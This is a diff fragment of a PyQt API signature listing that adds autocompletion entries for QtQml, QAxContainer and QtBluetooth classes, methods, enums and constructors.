+QtQml.QQmlExpression.context?4() -> QQmlContext +QtQml.QQmlExpression.expression?4() -> QString +QtQml.QQmlExpression.setExpression?4(QString) +QtQml.QQmlExpression.notifyOnValueChanged?4() -> bool +QtQml.QQmlExpression.setNotifyOnValueChanged?4(bool) +QtQml.QQmlExpression.sourceFile?4() -> QString +QtQml.QQmlExpression.lineNumber?4() -> int +QtQml.QQmlExpression.columnNumber?4() -> int +QtQml.QQmlExpression.setSourceLocation?4(QString, int, int column=0) +QtQml.QQmlExpression.scopeObject?4() -> QObject +QtQml.QQmlExpression.hasError?4() -> bool +QtQml.QQmlExpression.clearError?4() +QtQml.QQmlExpression.error?4() -> QQmlError +QtQml.QQmlExpression.evaluate?4() -> (QVariant, bool) +QtQml.QQmlExpression.valueChanged?4() +QtQml.QQmlExtensionPlugin?1(QObject parent=None) +QtQml.QQmlExtensionPlugin.__init__?1(self, QObject parent=None) +QtQml.QQmlExtensionPlugin.registerTypes?4(str) +QtQml.QQmlExtensionPlugin.initializeEngine?4(QQmlEngine, str) +QtQml.QQmlExtensionPlugin.baseUrl?4() -> QUrl +QtQml.QQmlEngineExtensionPlugin?1(QObject parent=None) +QtQml.QQmlEngineExtensionPlugin.__init__?1(self, QObject parent=None) +QtQml.QQmlEngineExtensionPlugin.initializeEngine?4(QQmlEngine, str) +QtQml.QQmlFileSelector?1(QQmlEngine, QObject parent=None) +QtQml.QQmlFileSelector.__init__?1(self, QQmlEngine, QObject parent=None) +QtQml.QQmlFileSelector.setSelector?4(QFileSelector) +QtQml.QQmlFileSelector.setExtraSelectors?4(QStringList) +QtQml.QQmlFileSelector.get?4(QQmlEngine) -> QQmlFileSelector +QtQml.QQmlFileSelector.selector?4() -> QFileSelector +QtQml.QQmlIncubator.Status?10 +QtQml.QQmlIncubator.Status.Null?10 +QtQml.QQmlIncubator.Status.Ready?10 +QtQml.QQmlIncubator.Status.Loading?10 +QtQml.QQmlIncubator.Status.Error?10 +QtQml.QQmlIncubator.IncubationMode?10 +QtQml.QQmlIncubator.IncubationMode.Asynchronous?10 +QtQml.QQmlIncubator.IncubationMode.AsynchronousIfNested?10 +QtQml.QQmlIncubator.IncubationMode.Synchronous?10 +QtQml.QQmlIncubator?1(QQmlIncubator.IncubationMode mode=QQmlIncubator.Asynchronous) +QtQml.QQmlIncubator.__init__?1(self, QQmlIncubator.IncubationMode mode=QQmlIncubator.Asynchronous) +QtQml.QQmlIncubator.clear?4() +QtQml.QQmlIncubator.forceCompletion?4() +QtQml.QQmlIncubator.isNull?4() -> bool +QtQml.QQmlIncubator.isReady?4() -> bool +QtQml.QQmlIncubator.isError?4() -> bool +QtQml.QQmlIncubator.isLoading?4() -> bool +QtQml.QQmlIncubator.errors?4() -> unknown-type +QtQml.QQmlIncubator.incubationMode?4() -> QQmlIncubator.IncubationMode +QtQml.QQmlIncubator.status?4() -> QQmlIncubator.Status +QtQml.QQmlIncubator.object?4() -> QObject +QtQml.QQmlIncubator.setInitialProperties?4(QVariantMap) +QtQml.QQmlIncubator.statusChanged?4(QQmlIncubator.Status) +QtQml.QQmlIncubator.setInitialState?4(QObject) +QtQml.QQmlIncubationController?1() +QtQml.QQmlIncubationController.__init__?1(self) +QtQml.QQmlIncubationController.engine?4() -> QQmlEngine +QtQml.QQmlIncubationController.incubatingObjectCount?4() -> int +QtQml.QQmlIncubationController.incubateFor?4(int) +QtQml.QQmlIncubationController.incubatingObjectCountChanged?4(int) +QtQml.QQmlListReference?1() +QtQml.QQmlListReference.__init__?1(self) +QtQml.QQmlListReference?1(QObject, str, QQmlEngine engine=None) +QtQml.QQmlListReference.__init__?1(self, QObject, str, QQmlEngine engine=None) +QtQml.QQmlListReference?1(QQmlListReference) +QtQml.QQmlListReference.__init__?1(self, QQmlListReference) +QtQml.QQmlListReference.isValid?4() -> bool +QtQml.QQmlListReference.object?4() -> QObject +QtQml.QQmlListReference.listElementType?4() -> QMetaObject +QtQml.QQmlListReference.canAppend?4() -> bool +QtQml.QQmlListReference.canAt?4() -> bool +QtQml.QQmlListReference.canClear?4() -> bool +QtQml.QQmlListReference.canCount?4() -> bool +QtQml.QQmlListReference.isManipulable?4() -> bool +QtQml.QQmlListReference.isReadable?4() -> bool +QtQml.QQmlListReference.append?4(QObject) -> bool +QtQml.QQmlListReference.at?4(int) -> QObject +QtQml.QQmlListReference.clear?4() -> bool +QtQml.QQmlListReference.count?4() -> int +QtQml.QQmlListReference.canReplace?4() -> bool +QtQml.QQmlListReference.canRemoveLast?4() -> bool +QtQml.QQmlListReference.replace?4(int, QObject) -> bool +QtQml.QQmlListReference.removeLast?4() -> bool +QtQml.QQmlNetworkAccessManagerFactory?1() +QtQml.QQmlNetworkAccessManagerFactory.__init__?1(self) +QtQml.QQmlNetworkAccessManagerFactory?1(QQmlNetworkAccessManagerFactory) +QtQml.QQmlNetworkAccessManagerFactory.__init__?1(self, QQmlNetworkAccessManagerFactory) +QtQml.QQmlNetworkAccessManagerFactory.create?4(QObject) -> QNetworkAccessManager +QtQml.QQmlParserStatus?1() +QtQml.QQmlParserStatus.__init__?1(self) +QtQml.QQmlParserStatus?1(QQmlParserStatus) +QtQml.QQmlParserStatus.__init__?1(self, QQmlParserStatus) +QtQml.QQmlParserStatus.classBegin?4() +QtQml.QQmlParserStatus.componentComplete?4() +QtQml.QQmlProperty.Type?10 +QtQml.QQmlProperty.Type.Invalid?10 +QtQml.QQmlProperty.Type.Property?10 +QtQml.QQmlProperty.Type.SignalProperty?10 +QtQml.QQmlProperty.PropertyTypeCategory?10 +QtQml.QQmlProperty.PropertyTypeCategory.InvalidCategory?10 +QtQml.QQmlProperty.PropertyTypeCategory.List?10 +QtQml.QQmlProperty.PropertyTypeCategory.Object?10 +QtQml.QQmlProperty.PropertyTypeCategory.Normal?10 +QtQml.QQmlProperty?1() +QtQml.QQmlProperty.__init__?1(self) +QtQml.QQmlProperty?1(QObject) +QtQml.QQmlProperty.__init__?1(self, QObject) +QtQml.QQmlProperty?1(QObject, QQmlContext) +QtQml.QQmlProperty.__init__?1(self, QObject, QQmlContext) +QtQml.QQmlProperty?1(QObject, QQmlEngine) +QtQml.QQmlProperty.__init__?1(self, QObject, QQmlEngine) +QtQml.QQmlProperty?1(QObject, QString) +QtQml.QQmlProperty.__init__?1(self, QObject, QString) +QtQml.QQmlProperty?1(QObject, QString, QQmlContext) +QtQml.QQmlProperty.__init__?1(self, QObject, QString, QQmlContext) +QtQml.QQmlProperty?1(QObject, QString, QQmlEngine) +QtQml.QQmlProperty.__init__?1(self, QObject, QString, QQmlEngine) +QtQml.QQmlProperty?1(QQmlProperty) +QtQml.QQmlProperty.__init__?1(self, QQmlProperty) +QtQml.QQmlProperty.type?4() -> QQmlProperty.Type +QtQml.QQmlProperty.isValid?4() -> bool +QtQml.QQmlProperty.isProperty?4() -> bool +QtQml.QQmlProperty.isSignalProperty?4() -> bool +QtQml.QQmlProperty.propertyType?4() -> int +QtQml.QQmlProperty.propertyTypeCategory?4() -> QQmlProperty.PropertyTypeCategory +QtQml.QQmlProperty.propertyTypeName?4() -> str +QtQml.QQmlProperty.name?4() -> QString +QtQml.QQmlProperty.read?4() -> QVariant +QtQml.QQmlProperty.read?4(QObject, QString) -> QVariant +QtQml.QQmlProperty.read?4(QObject, QString, QQmlContext) -> QVariant +QtQml.QQmlProperty.read?4(QObject, QString, QQmlEngine) -> QVariant +QtQml.QQmlProperty.write?4(QVariant) -> bool +QtQml.QQmlProperty.write?4(QObject, QString, QVariant) -> bool +QtQml.QQmlProperty.write?4(QObject, QString, QVariant, QQmlContext) -> bool +QtQml.QQmlProperty.write?4(QObject, QString, QVariant, QQmlEngine) -> bool +QtQml.QQmlProperty.reset?4() -> bool +QtQml.QQmlProperty.hasNotifySignal?4() -> bool +QtQml.QQmlProperty.needsNotifySignal?4() -> bool +QtQml.QQmlProperty.connectNotifySignal?4(object) -> bool +QtQml.QQmlProperty.connectNotifySignal?4(QObject, int) -> bool +QtQml.QQmlProperty.isWritable?4() -> bool +QtQml.QQmlProperty.isDesignable?4() -> bool +QtQml.QQmlProperty.isResettable?4() -> bool +QtQml.QQmlProperty.object?4() -> QObject +QtQml.QQmlProperty.index?4() -> int +QtQml.QQmlProperty.property?4() -> QMetaProperty +QtQml.QQmlProperty.method?4() -> QMetaMethod +QtQml.QQmlPropertyMap?1(QObject parent=None) +QtQml.QQmlPropertyMap.__init__?1(self, QObject parent=None) +QtQml.QQmlPropertyMap.value?4(QString) -> QVariant +QtQml.QQmlPropertyMap.insert?4(QString, QVariant) +QtQml.QQmlPropertyMap.clear?4(QString) +QtQml.QQmlPropertyMap.keys?4() -> QStringList +QtQml.QQmlPropertyMap.count?4() -> int +QtQml.QQmlPropertyMap.size?4() -> int +QtQml.QQmlPropertyMap.isEmpty?4() -> bool +QtQml.QQmlPropertyMap.contains?4(QString) -> bool +QtQml.QQmlPropertyMap.valueChanged?4(QString, QVariant) +QtQml.QQmlPropertyMap.updateValue?4(QString, QVariant) -> QVariant +QtQml.QQmlPropertyValueSource?1() +QtQml.QQmlPropertyValueSource.__init__?1(self) +QtQml.QQmlPropertyValueSource?1(QQmlPropertyValueSource) +QtQml.QQmlPropertyValueSource.__init__?1(self, QQmlPropertyValueSource) +QtQml.QQmlPropertyValueSource.setTarget?4(QQmlProperty) +QtQml.QQmlScriptString?1() +QtQml.QQmlScriptString.__init__?1(self) +QtQml.QQmlScriptString?1(QQmlScriptString) +QtQml.QQmlScriptString.__init__?1(self, QQmlScriptString) +QtQml.QQmlScriptString.isEmpty?4() -> bool +QtQml.QQmlScriptString.isUndefinedLiteral?4() -> bool +QtQml.QQmlScriptString.isNullLiteral?4() -> bool +QtQml.QQmlScriptString.stringLiteral?4() -> QString +QtQml.QQmlScriptString.numberLiteral?4() -> (float, bool) +QtQml.QQmlScriptString.booleanLiteral?4() -> (bool, bool) +QAxContainer.QAxBase?1() +QAxContainer.QAxBase.__init__?1(self) +QAxContainer.QAxBase?1(QAxBase) +QAxContainer.QAxBase.__init__?1(self, QAxBase) +QAxContainer.QAxBase.control?4() -> QString +QAxContainer.QAxBase.dynamicCall?4(str, unknown-type) -> QVariant +QAxContainer.QAxBase.dynamicCall?4(str, QVariant value1=None, QVariant value2=None, QVariant value3=None, QVariant value4=None, QVariant value5=None, QVariant value6=None, QVariant value7=None, QVariant value8=None) -> QVariant +QAxContainer.QAxBase.querySubObject?4(str, unknown-type) -> QAxObject +QAxContainer.QAxBase.querySubObject?4(str, QVariant value1=None, QVariant value2=None, QVariant value3=None, QVariant value4=None, QVariant value5=None, QVariant value6=None, QVariant value7=None, QVariant value8=None) -> QAxObject +QAxContainer.QAxBase.propertyBag?4() -> QVariantMap +QAxContainer.QAxBase.setPropertyBag?4(QVariantMap) +QAxContainer.QAxBase.generateDocumentation?4() -> QString +QAxContainer.QAxBase.propertyWritable?4(str) -> bool +QAxContainer.QAxBase.setPropertyWritable?4(str, bool) +QAxContainer.QAxBase.isNull?4() -> bool +QAxContainer.QAxBase.verbs?4() -> QStringList +QAxContainer.QAxBase.asVariant?4() -> QVariant +QAxContainer.QAxBase.signal?4(QString, int, sip.voidptr) +QAxContainer.QAxBase.propertyChanged?4(QString) +QAxContainer.QAxBase.exception?4(int, QString, QString, QString) +QAxContainer.QAxBase.clear?4() +QAxContainer.QAxBase.setControl?4(QString) -> bool +QAxContainer.QAxBase.disableMetaObject?4() +QAxContainer.QAxBase.disableClassInfo?4() +QAxContainer.QAxBase.disableEventSink?4() +QAxContainer.QAxBase.classContext?4() -> int +QAxContainer.QAxBase.setClassContext?4(int) +QAxContainer.QAxObject?1(QObject parent=None) +QAxContainer.QAxObject.__init__?1(self, QObject parent=None) +QAxContainer.QAxObject?1(QString, QObject parent=None) +QAxContainer.QAxObject.__init__?1(self, QString, QObject parent=None) +QAxContainer.QAxObject.doVerb?4(QString) -> bool +QAxContainer.QAxObject.connectNotify?4(QMetaMethod) +QAxContainer.QAxWidget?1(QWidget parent=None, Qt.WindowFlags flags=0) +QAxContainer.QAxWidget.__init__?1(self, QWidget parent=None, Qt.WindowFlags flags=0) +QAxContainer.QAxWidget?1(QString, QWidget parent=None, Qt.WindowFlags flags=0) +QAxContainer.QAxWidget.__init__?1(self, QString, QWidget parent=None, Qt.WindowFlags flags=0) +QAxContainer.QAxWidget.clear?4() +QAxContainer.QAxWidget.doVerb?4(QString) -> bool +QAxContainer.QAxWidget.sizeHint?4() -> QSize +QAxContainer.QAxWidget.minimumSizeHint?4() -> QSize +QAxContainer.QAxWidget.createHostWindow?4(bool) -> bool +QAxContainer.QAxWidget.changeEvent?4(QEvent) +QAxContainer.QAxWidget.resizeEvent?4(QResizeEvent) +QAxContainer.QAxWidget.translateKeyEvent?4(int, int) -> bool +QAxContainer.QAxWidget.connectNotify?4(QMetaMethod) +QtBluetooth.QBluetooth.AttAccessConstraint?10 +QtBluetooth.QBluetooth.AttAccessConstraint.AttAuthorizationRequired?10 +QtBluetooth.QBluetooth.AttAccessConstraint.AttAuthenticationRequired?10 +QtBluetooth.QBluetooth.AttAccessConstraint.AttEncryptionRequired?10 +QtBluetooth.QBluetooth.Security?10 +QtBluetooth.QBluetooth.Security.NoSecurity?10 +QtBluetooth.QBluetooth.Security.Authorization?10 +QtBluetooth.QBluetooth.Security.Authentication?10 +QtBluetooth.QBluetooth.Security.Encryption?10 +QtBluetooth.QBluetooth.Security.Secure?10 +QtBluetooth.QBluetooth.SecurityFlags?1() +QtBluetooth.QBluetooth.SecurityFlags.__init__?1(self) +QtBluetooth.QBluetooth.SecurityFlags?1(int) +QtBluetooth.QBluetooth.SecurityFlags.__init__?1(self, int) +QtBluetooth.QBluetooth.SecurityFlags?1(QBluetooth.SecurityFlags) +QtBluetooth.QBluetooth.SecurityFlags.__init__?1(self, QBluetooth.SecurityFlags) +QtBluetooth.QBluetooth.AttAccessConstraints?1() +QtBluetooth.QBluetooth.AttAccessConstraints.__init__?1(self) +QtBluetooth.QBluetooth.AttAccessConstraints?1(int) +QtBluetooth.QBluetooth.AttAccessConstraints.__init__?1(self, int) +QtBluetooth.QBluetooth.AttAccessConstraints?1(QBluetooth.AttAccessConstraints) +QtBluetooth.QBluetooth.AttAccessConstraints.__init__?1(self, QBluetooth.AttAccessConstraints) +QtBluetooth.QBluetoothAddress?1() +QtBluetooth.QBluetoothAddress.__init__?1(self) +QtBluetooth.QBluetoothAddress?1(int) +QtBluetooth.QBluetoothAddress.__init__?1(self, int) +QtBluetooth.QBluetoothAddress?1(QString) +QtBluetooth.QBluetoothAddress.__init__?1(self, QString) +QtBluetooth.QBluetoothAddress?1(QBluetoothAddress) +QtBluetooth.QBluetoothAddress.__init__?1(self, QBluetoothAddress) +QtBluetooth.QBluetoothAddress.isNull?4() -> bool +QtBluetooth.QBluetoothAddress.clear?4() +QtBluetooth.QBluetoothAddress.toUInt64?4() -> int +QtBluetooth.QBluetoothAddress.toString?4() -> QString +QtBluetooth.QBluetoothDeviceDiscoveryAgent.DiscoveryMethod?10 +QtBluetooth.QBluetoothDeviceDiscoveryAgent.InquiryType?10 +QtBluetooth.QBluetoothDeviceDiscoveryAgent.InquiryType.GeneralUnlimitedInquiry?10 +QtBluetooth.QBluetoothDeviceDiscoveryAgent.InquiryType.LimitedInquiry?10 +QtBluetooth.QBluetoothDeviceDiscoveryAgent.Error?10 +QtBluetooth.QBluetoothDeviceDiscoveryAgent.Error.NoError?10 +QtBluetooth.QBluetoothDeviceDiscoveryAgent.Error.InputOutputError?10 +QtBluetooth.QBluetoothDeviceDiscoveryAgent.Error.PoweredOffError?10 +QtBluetooth.QBluetoothDeviceDiscoveryAgent.Error.InvalidBluetoothAdapterError?10 +QtBluetooth.QBluetoothDeviceDiscoveryAgent.Error.UnsupportedPlatformError?10 +QtBluetooth.QBluetoothDeviceDiscoveryAgent.Error.UnsupportedDiscoveryMethod?10 +QtBluetooth.QBluetoothDeviceDiscoveryAgent.Error.UnknownError?10 +QtBluetooth.QBluetoothDeviceDiscoveryAgent?1(QObject parent=None) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.__init__?1(self, QObject parent=None) +QtBluetooth.QBluetoothDeviceDiscoveryAgent?1(QBluetoothAddress, QObject parent=None) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.__init__?1(self, QBluetoothAddress, QObject parent=None) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.inquiryType?4() -> QBluetoothDeviceDiscoveryAgent.InquiryType +QtBluetooth.QBluetoothDeviceDiscoveryAgent.setInquiryType?4(QBluetoothDeviceDiscoveryAgent.InquiryType) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.isActive?4() -> bool +QtBluetooth.QBluetoothDeviceDiscoveryAgent.error?4() -> QBluetoothDeviceDiscoveryAgent.Error +QtBluetooth.QBluetoothDeviceDiscoveryAgent.errorString?4() -> QString +QtBluetooth.QBluetoothDeviceDiscoveryAgent.discoveredDevices?4() -> unknown-type +QtBluetooth.QBluetoothDeviceDiscoveryAgent.start?4() +QtBluetooth.QBluetoothDeviceDiscoveryAgent.start?4(QBluetoothDeviceDiscoveryAgent.DiscoveryMethods) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.stop?4() +QtBluetooth.QBluetoothDeviceDiscoveryAgent.deviceDiscovered?4(QBluetoothDeviceInfo) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.finished?4() +QtBluetooth.QBluetoothDeviceDiscoveryAgent.error?4(QBluetoothDeviceDiscoveryAgent.Error) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.canceled?4() +QtBluetooth.QBluetoothDeviceDiscoveryAgent.deviceUpdated?4(QBluetoothDeviceInfo, QBluetoothDeviceInfo.Fields) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.setLowEnergyDiscoveryTimeout?4(int) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.lowEnergyDiscoveryTimeout?4() -> int +QtBluetooth.QBluetoothDeviceDiscoveryAgent.supportedDiscoveryMethods?4() -> QBluetoothDeviceDiscoveryAgent.DiscoveryMethods +QtBluetooth.QBluetoothDeviceDiscoveryAgent.DiscoveryMethods?1() +QtBluetooth.QBluetoothDeviceDiscoveryAgent.DiscoveryMethods.__init__?1(self) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.DiscoveryMethods?1(int) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.DiscoveryMethods.__init__?1(self, int) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.DiscoveryMethods?1(QBluetoothDeviceDiscoveryAgent.DiscoveryMethods) +QtBluetooth.QBluetoothDeviceDiscoveryAgent.DiscoveryMethods.__init__?1(self, QBluetoothDeviceDiscoveryAgent.DiscoveryMethods) +QtBluetooth.QBluetoothDeviceInfo.Field?10 +QtBluetooth.QBluetoothDeviceInfo.Field.None_?10 +QtBluetooth.QBluetoothDeviceInfo.Field.RSSI?10 +QtBluetooth.QBluetoothDeviceInfo.Field.ManufacturerData?10 +QtBluetooth.QBluetoothDeviceInfo.Field.All?10 +QtBluetooth.QBluetoothDeviceInfo.CoreConfiguration?10 +QtBluetooth.QBluetoothDeviceInfo.CoreConfiguration.UnknownCoreConfiguration?10 +QtBluetooth.QBluetoothDeviceInfo.CoreConfiguration.LowEnergyCoreConfiguration?10 +QtBluetooth.QBluetoothDeviceInfo.CoreConfiguration.BaseRateCoreConfiguration?10 +QtBluetooth.QBluetoothDeviceInfo.CoreConfiguration.BaseRateAndLowEnergyCoreConfiguration?10 +QtBluetooth.QBluetoothDeviceInfo.DataCompleteness?10 +QtBluetooth.QBluetoothDeviceInfo.DataCompleteness.DataComplete?10 +QtBluetooth.QBluetoothDeviceInfo.DataCompleteness.DataIncomplete?10 +QtBluetooth.QBluetoothDeviceInfo.DataCompleteness.DataUnavailable?10 +QtBluetooth.QBluetoothDeviceInfo.ServiceClass?10 +QtBluetooth.QBluetoothDeviceInfo.ServiceClass.NoService?10 +QtBluetooth.QBluetoothDeviceInfo.ServiceClass.PositioningService?10 +QtBluetooth.QBluetoothDeviceInfo.ServiceClass.NetworkingService?10 +QtBluetooth.QBluetoothDeviceInfo.ServiceClass.RenderingService?10 +QtBluetooth.QBluetoothDeviceInfo.ServiceClass.CapturingService?10 +QtBluetooth.QBluetoothDeviceInfo.ServiceClass.ObjectTransferService?10 +QtBluetooth.QBluetoothDeviceInfo.ServiceClass.AudioService?10 +QtBluetooth.QBluetoothDeviceInfo.ServiceClass.TelephonyService?10 +QtBluetooth.QBluetoothDeviceInfo.ServiceClass.InformationService?10 +QtBluetooth.QBluetoothDeviceInfo.ServiceClass.AllServices?10 +QtBluetooth.QBluetoothDeviceInfo.MinorHealthClass?10 +QtBluetooth.QBluetoothDeviceInfo.MinorHealthClass.UncategorizedHealthDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MinorHealthClass.HealthBloodPressureMonitor?10 +QtBluetooth.QBluetoothDeviceInfo.MinorHealthClass.HealthThermometer?10 +QtBluetooth.QBluetoothDeviceInfo.MinorHealthClass.HealthWeightScale?10 +QtBluetooth.QBluetoothDeviceInfo.MinorHealthClass.HealthGlucoseMeter?10 +QtBluetooth.QBluetoothDeviceInfo.MinorHealthClass.HealthPulseOximeter?10 +QtBluetooth.QBluetoothDeviceInfo.MinorHealthClass.HealthDataDisplay?10 +QtBluetooth.QBluetoothDeviceInfo.MinorHealthClass.HealthStepCounter?10 +QtBluetooth.QBluetoothDeviceInfo.MinorToyClass?10 +QtBluetooth.QBluetoothDeviceInfo.MinorToyClass.UncategorizedToy?10 +QtBluetooth.QBluetoothDeviceInfo.MinorToyClass.ToyRobot?10 +QtBluetooth.QBluetoothDeviceInfo.MinorToyClass.ToyVehicle?10 +QtBluetooth.QBluetoothDeviceInfo.MinorToyClass.ToyDoll?10 +QtBluetooth.QBluetoothDeviceInfo.MinorToyClass.ToyController?10 +QtBluetooth.QBluetoothDeviceInfo.MinorToyClass.ToyGame?10 +QtBluetooth.QBluetoothDeviceInfo.MinorWearableClass?10 +QtBluetooth.QBluetoothDeviceInfo.MinorWearableClass.UncategorizedWearableDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MinorWearableClass.WearableWristWatch?10 +QtBluetooth.QBluetoothDeviceInfo.MinorWearableClass.WearablePager?10 +QtBluetooth.QBluetoothDeviceInfo.MinorWearableClass.WearableJacket?10 +QtBluetooth.QBluetoothDeviceInfo.MinorWearableClass.WearableHelmet?10 +QtBluetooth.QBluetoothDeviceInfo.MinorWearableClass.WearableGlasses?10 +QtBluetooth.QBluetoothDeviceInfo.MinorImagingClass?10 +QtBluetooth.QBluetoothDeviceInfo.MinorImagingClass.UncategorizedImagingDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MinorImagingClass.ImageDisplay?10 +QtBluetooth.QBluetoothDeviceInfo.MinorImagingClass.ImageCamera?10 +QtBluetooth.QBluetoothDeviceInfo.MinorImagingClass.ImageScanner?10 +QtBluetooth.QBluetoothDeviceInfo.MinorImagingClass.ImagePrinter?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPeripheralClass?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPeripheralClass.UncategorizedPeripheral?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPeripheralClass.KeyboardPeripheral?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPeripheralClass.PointingDevicePeripheral?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPeripheralClass.KeyboardWithPointingDevicePeripheral?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPeripheralClass.JoystickPeripheral?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPeripheralClass.GamepadPeripheral?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPeripheralClass.RemoteControlPeripheral?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPeripheralClass.SensingDevicePeripheral?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPeripheralClass.DigitizerTabletPeripheral?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPeripheralClass.CardReaderPeripheral?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.UncategorizedAudioVideoDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.WearableHeadsetDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.HandsFreeDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.Microphone?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.Loudspeaker?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.Headphones?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.PortableAudioDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.CarAudio?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.SetTopBox?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.HiFiAudioDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.Vcr?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.VideoCamera?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.Camcorder?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.VideoMonitor?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.VideoDisplayAndLoudspeaker?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.VideoConferencing?10 +QtBluetooth.QBluetoothDeviceInfo.MinorAudioVideoClass.GamingDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MinorNetworkClass?10 +QtBluetooth.QBluetoothDeviceInfo.MinorNetworkClass.NetworkFullService?10 +QtBluetooth.QBluetoothDeviceInfo.MinorNetworkClass.NetworkLoadFactorOne?10 +QtBluetooth.QBluetoothDeviceInfo.MinorNetworkClass.NetworkLoadFactorTwo?10 +QtBluetooth.QBluetoothDeviceInfo.MinorNetworkClass.NetworkLoadFactorThree?10 +QtBluetooth.QBluetoothDeviceInfo.MinorNetworkClass.NetworkLoadFactorFour?10 +QtBluetooth.QBluetoothDeviceInfo.MinorNetworkClass.NetworkLoadFactorFive?10 +QtBluetooth.QBluetoothDeviceInfo.MinorNetworkClass.NetworkLoadFactorSix?10 +QtBluetooth.QBluetoothDeviceInfo.MinorNetworkClass.NetworkNoService?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPhoneClass?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPhoneClass.UncategorizedPhone?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPhoneClass.CellularPhone?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPhoneClass.CordlessPhone?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPhoneClass.SmartPhone?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPhoneClass.WiredModemOrVoiceGatewayPhone?10 +QtBluetooth.QBluetoothDeviceInfo.MinorPhoneClass.CommonIsdnAccessPhone?10 +QtBluetooth.QBluetoothDeviceInfo.MinorComputerClass?10 +QtBluetooth.QBluetoothDeviceInfo.MinorComputerClass.UncategorizedComputer?10 +QtBluetooth.QBluetoothDeviceInfo.MinorComputerClass.DesktopComputer?10 +QtBluetooth.QBluetoothDeviceInfo.MinorComputerClass.ServerComputer?10 +QtBluetooth.QBluetoothDeviceInfo.MinorComputerClass.LaptopComputer?10 +QtBluetooth.QBluetoothDeviceInfo.MinorComputerClass.HandheldClamShellComputer?10 +QtBluetooth.QBluetoothDeviceInfo.MinorComputerClass.HandheldComputer?10 +QtBluetooth.QBluetoothDeviceInfo.MinorComputerClass.WearableComputer?10 +QtBluetooth.QBluetoothDeviceInfo.MinorMiscellaneousClass?10 +QtBluetooth.QBluetoothDeviceInfo.MinorMiscellaneousClass.UncategorizedMiscellaneous?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass.MiscellaneousDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass.ComputerDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass.PhoneDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass.LANAccessDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass.NetworkDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass.AudioVideoDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass.PeripheralDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass.ImagingDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass.WearableDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass.ToyDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass.HealthDevice?10 +QtBluetooth.QBluetoothDeviceInfo.MajorDeviceClass.UncategorizedDevice?10 +QtBluetooth.QBluetoothDeviceInfo?1() +QtBluetooth.QBluetoothDeviceInfo.__init__?1(self) +QtBluetooth.QBluetoothDeviceInfo?1(QBluetoothAddress, QString, int) +QtBluetooth.QBluetoothDeviceInfo.__init__?1(self, QBluetoothAddress, QString, int) +QtBluetooth.QBluetoothDeviceInfo?1(QBluetoothUuid, QString, int) +QtBluetooth.QBluetoothDeviceInfo.__init__?1(self, QBluetoothUuid, QString, int) +QtBluetooth.QBluetoothDeviceInfo?1(QBluetoothDeviceInfo) +QtBluetooth.QBluetoothDeviceInfo.__init__?1(self, QBluetoothDeviceInfo) +QtBluetooth.QBluetoothDeviceInfo.isValid?4() -> bool +QtBluetooth.QBluetoothDeviceInfo.isCached?4() -> bool 